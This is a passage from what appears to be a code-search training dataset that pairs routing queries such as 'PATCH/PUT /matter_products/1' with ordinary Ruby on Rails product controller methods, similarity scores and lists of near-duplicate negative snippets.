end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = current_vendor.vendor_products.new(vendor_product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to vendor_products_url, notice: 'product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n @product.image = params[:image] if params[:image]\n #params[:product][:category_ids].each{|c|\n # @product.category = c\n #}\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_params\n params.require(:product).permit(:products)\n end", "def create\n @product = Product.new(product_params)\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n models = params[:product][:models_attributes]\n if !models.nil?\n models.each do |model|\n model[1][:characteristics] = sanitize_attributes(model[1][:characteristics])\n end\n end\n clean_params = product_params\n clean_params[:specifications] = sanitize_data(clean_params[:specifications])\n clean_params[:features] = sanitize_data(clean_params[:features])\n clean_params[:attributes_titles] = sanitize_attributes(clean_params[:attributes_titles])\n\n @product = Product.new(clean_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to [:admin, @product], notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tuhu_product = Tuhu::Product.new(tuhu_product_params)\n\n respond_to do |format|\n if @tuhu_product.save\n format.html { redirect_to @tuhu_product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @tuhu_product }\n else\n format.html { render :new }\n format.json { render json: @tuhu_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to site_path(@site), notice: '商品の作成に成功しました' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_to_newgistics\n document = Spree::Newgistics::DocumentBuilder.build_product([self])\n response = Spree::Newgistics::HTTPManager.post('/post_products.aspx', document)\n\n if response.status == 200\n errors = Nokogiri::XML(response.body).css('errors').children.any?\n update_column(:posted_to_newgistics, true) unless errors\n end\n\n end", "def omega\n products = GetProducts.new.send_request\n SaveProducts.new(products[:productRecords]).save\n end", "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unread\n\n @product = Product.new(params[:product])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_matter_product\n @matter_product = MatterProduct.find(params[:id])\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n notice: 'Product was successfully created.' }\n format.json { render :show, status: :created,\n location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: \"Product was successfully created.\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @my_product = MyProduct.new(my_product_params)\n\n respond_to do |format|\n if @my_product.save\n format.html { redirect_to @my_product, notice: 'My product was successfully created.' }\n format.json { render :show, status: :created, location: @my_product }\n else\n format.html { render :new }\n format.json { render json: @my_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n if @product.save\n \n respond_with(@product, :location=>products_url)\n else\n respond_with(@product, :head=>:bad_request)\n end\n end" ]
[ "0.6928276", "0.67488784", "0.669899", "0.659528", "0.6541616", "0.6527496", "0.6520057", "0.65105236", "0.6391199", "0.63861233", "0.63775826", "0.63674825", "0.6341455", "0.63356346", "0.6334726", "0.6328034", "0.62777823", "0.6272497", "0.6265461", "0.6213499", "0.618649", "0.61726826", "0.6157826", "0.61471033", "0.6137898", "0.61175257", "0.61175257", "0.61175257", "0.6116918", "0.61142695", "0.6113354", "0.6111991", "0.61115164", "0.6077837", "0.6075311", "0.60748565", "0.6065197", "0.6060699", "0.6059211", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056504", "0.6056489", "0.6055619", "0.6053133", "0.6050566", "0.60495263", "0.6045001", "0.60415196", "0.6031589", "0.6022263", "0.60205615", "0.6019428", "0.6011918", "0.6002789", "0.6000115", "0.5997225", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.5995678", "0.59950536", "0.5994767", "0.5994629", "0.59939516", "0.59922385", "0.59834" ]
0.72924066
0
PATCH/PUT /matter_products/1 PATCH/PUT /matter_products/1.json
def update respond_to do |format| if @matter_product.update(matter_product_params) format.html { redirect_to @matter_product, notice: 'Matter product was successfully updated.' } format.json { render :show, status: :ok, location: @matter_product } else format.html { render :edit } format.json { render json: @matter_product.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def update\n updateProduct = Product.find_by_id(params[:id])\n updateProduct.update(products_params)\n if updateProduct != nil\n msg = { status: 200 , product: updateProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "def update\n if @product.update(product_params)\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product.update(product_params)\n set_products\n end", "def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def update\n @product.assign_attributes object_params.reject{|_, v| v.blank?}\n # In a normal app we have a pre filled form of the object to update,\n # so when we do a PATCH (or PUT) we send all the attributes again,\n # in the API we permit to send any field to update, so we need to remove\n # all the blank params of the object to prevent validations triggers of\n # attributes that we don't send to update\n if @product.save\n render json: @product.to_json\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tb_product.update(tb_product_params)\n format.html { redirect_to @tb_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tb_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n respond_to do |format|\n if @model.update(model_params)\n \t\n# \t\tModelProduct.where(:model_id => @model.id).delete_all\n# \t \tunless params[:model_products].nil?\n# \t \t\tparams[:model_products].each do |product_id|\n# \t \t\t\tModelProduct.create(:model_id => @model.id, :product_id => product_id)\n# \t \t\tend\n# \t \tend\n\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @angular = Product.find(params[:id])\n \n @angular.update_attributes(title: params[:products][:title], description: params[:products][:description])\n respond_to do |format|\n if @angular.valid?\n format.html { redirect_to store_index_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @angular.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update!(product_params)\n format.html { redirect_to products_url, notice: 'Product was successfully updated.' }\n format.json { render json: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: t(:product_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @my_product.update(my_product_params)\n render :show, status: :ok\n else\n render json: @my_product.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @product_spec.update(product_spec_params)\n format.html { redirect_to @product_spec, notice: 'Product spec was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_spec }\n else\n format.html { render :edit }\n format.json { render json: @product_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update_attributes(params[:product])\n respond_to do |format|\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end", "def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @product.update(product_params)\n render json: {msg: \"Товар успешно изменен\", id: @product.id}\n else\n render json: {msg: @product.errors.full_messages.first}, status: :unprocessable_entity\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product,\n :notice=> 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n\n respond_to do |format|\n if 